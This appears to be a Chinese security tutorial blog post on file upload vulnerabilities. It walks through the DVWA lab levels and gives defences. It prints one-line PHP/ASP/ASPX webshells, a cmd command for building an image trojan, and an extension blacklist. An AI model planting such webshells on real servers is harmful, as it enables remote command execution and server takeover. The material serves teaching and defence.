文件上传漏洞解析

目录

1.任意文件上传概述

1. 漏洞成因

2.漏洞危害

2.WebShell

1.命令解释器

2.WebShell

3.任意文件上传攻防

1.黑白名单策略

2.文件类型检测

3.文件后缀名或内容检测

4.图片木马


1.任意文件上传概述

文件上传是Web应用必备功能之一,如头像上传、附件分享。如果服务器配置不当未进行足够过滤,Web用户可以上传任意文件,包括恶意脚本文件,exe程序等,这就造成了任意文件上传漏洞

1. 漏洞成因

服务器配置不当,开启了PUT 方法。 Web 应用开放了文件上传功能,没有对上传的文件做足够的限制和过滤。 在程序开发部署时,没有考虑以下因素,导致限制被绕过:

  • 代码特性;

  • 组件漏洞;

  • Web 容器漏洞;

  • 系统特性;

2.漏洞危害

上传恶意代码(文件,程序),并执行恶意代码(文件,程序):

  • 上传后门文件并执行,导致网站沦陷;

  • 通过恶意文件,利用其他漏洞拿到管理员权限(提权),导致服务器沦陷。

通过文件上传漏洞获得的网站后门,叫WebShell。

2.WebShell

1.命令解释器
linuxWindows
bashpowershell
shcmd
zsh

2.WebShell

WebShell 一个网站 后门,也 一个命令解释 。通 Web 方式,使 HTTP| HTTPS 协议 递命令消息到 ,并且继承了Web 权 限,在服务器上远程执行命令。WebShell 从本质上讲,就是服务器端可运行的脚本文件,后缀名通常为: .php .asp .aspx .jsp

WebShell 接收来自于Web 用户的命令,然后在服务器端执行,也称为网站木马、木马后门、网马等。

Web容器脚本语言
Apache HTTPDphp
IISasp| aspx| php
Tomcatjsp| jspx
  • 大马 代码量比较大,与小马对比。

  • 小马 一句话木马,需要与中国菜刀配合。 特点:短小精悍,功能强大。 三大基本功能:文件管理、虚拟终端、数据库管理。 php 脚本格式:

<?php @eval($_REQUEST[777])?>
//代码执行函数+传参点

asp 脚本形式:

<%eval request("777")%>

aspx 脚本形式:

<%@ Page Language="Jscript"%>
<%eval(Request.Item["777"],"unsafe");%>
  • GetShell GetShell 是获取WebShell 的过程或结果。文件上传漏洞的利用是GetShell 的主要方式,但不是唯一手段。

3.任意文件上传攻防

DVWA/File Upload/Low 。

  • 源代码

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
  • 代码审计 对文件上传没有做任何过滤; 任意文件上传。

1.黑白名单策略

黑白名单是最常用,也是最重要的安全策略之一。黑白名单策略类似于一个列表,列表中写了一些条件或者规则,黑名单就是非法条件,白名单就 是合法条件,类似于手机的黑白名单。也是最常用的防御策略之一。

  • 文件检测

    • 文件后缀名

    • 文件类型

    • 文件内容

  • 后缀名黑名单

$deny_ext = array(
".php",".php5",".php4",".php3",".php2","php1",".phtml",".pht",
".html",".htm",
".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jhtml",
".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",
".cer",".swf",
".htaccess"
);
  • 后缀名白名单

$allow_ext = array(
'jpg','jpeg','png','bmp','gif','svg',
'zip','tar.gz',
'doc','docx','pdf','xls','ppt'
);

2.文件类型检测

DVWA/File Upload/Medium 。

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
  • 代码审计 上传的文件没有重命名; Content-Type 类型白名单检测; 任意文件上传。

3.文件后缀名或内容检测

DVWA/File Upload/High 。

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower(
$uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
  • 代码审计 上传文件没有重命名; 文件后缀名白名单检测; 使用getimagesize() 进行文件内容检测,只检测文件头部

4.图片木马

使用cmd 命令

copy imgName/ +yjh/a newImgName

说明: 图片木马没有办法直接利用,需要配合其他漏洞。 图片木马中包含了恶意代码。

5.完全防御

DVWA/File Upload/Impossible 。

  • 源代码

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get(
'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower(
$uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
  • 代码审计 检测Token 值,防止数据包重放; 文件重命名; 文件后缀名白名单检测; 文件类型白名单检测; 文件内容头部检测; 二次渲染,生成新文件; 删除缓存文件。

6.文件上传利用条件

文件上传漏洞完美利用,受到以下条件限制:

  • Web 服务器开启文件上传功能,Web 用户可以使用该功能。

  • Web 用户({www|www-data|apache})对目标目录具有可写权限,甚至具有执行权限。一般情况下,Web 目录都有执行权限。

  • 完美利用意味着文件可以执行,也就是说代码可以被服务器解析。

  • 服务器开启了PUT 方法。

7.任意文件上传防御

代码角度

  • 采用白名单策略,严格限制上传文件的后缀名;

  • 上传文件重命名,尽量少的从客户端获取信息,包括文件名、文件类型、文件内容等;

  • 文件内容检测;

  • 进行二次渲染,过滤掉图片马中的恶意代码;

  • 避免文件包含漏洞;

  • 严格处理文件路径,防御00 截断漏洞;

  • 检测Token 值,防止数据包重放。

业务角度:

  • 强口令策略,避免恶意攻击者登录网站后台;

尽量避免Web 用户修改上传白名单。

Web 容器角度:
  • 及时更新Web 容器,防止解析漏洞产生。

禁用Web 容器PUT 方法。

系统角度:
  • 避开空格、点 . 、 ::$DATA windows 系统特性。

服务器部署:
  • 严格控制权限,执行权限与写权限分离。

  • 建立单独的文件存储服务器,类似于站库分离

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值